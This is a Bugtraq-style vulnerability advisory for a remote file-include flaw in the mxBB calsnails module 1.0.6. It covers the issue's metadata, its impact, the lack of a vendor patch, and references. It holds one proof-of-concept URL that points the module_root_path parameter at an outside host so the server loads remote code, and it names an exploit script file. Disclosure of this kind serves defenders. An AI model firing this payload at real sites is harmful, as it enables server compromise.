MXBB Calsnails Module MX_Common.PHP Remote File Include Vulnerability

Bugtraq ID:	21143
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 17 2006 12:00AM
Updated:	Nov 22 2006 11:05PM
Credit:	bd0rk is credited with the discovery of this vulnerability.
Vulnerable:	mxBB calisnail module 1.0.6
Not Vulnerable:

MXBB Calsnails Module MX_Common.PHP Remote File Include Vulnerability

The mxBB calsnails module is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.06 is vulnerable to this issue; other versions may also be affected.

MXBB Calsnails Module MX_Common.PHP Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof of concept and exploit code are available:

http://www.example.com/includes/mx_common.php?module_root_path=http://www.example2.com

• /data/vulnerabilities/exploits/21143.pl

MXBB Calsnails Module MX_Common.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

MXBB Calsnails Module MX_Common.PHP Remote File Include Vulnerability

References:

• Vendor Home Page (mxBB)
  
• mxBB calsnails module 1.06 Remote File Inclusion Exploit ([email protected])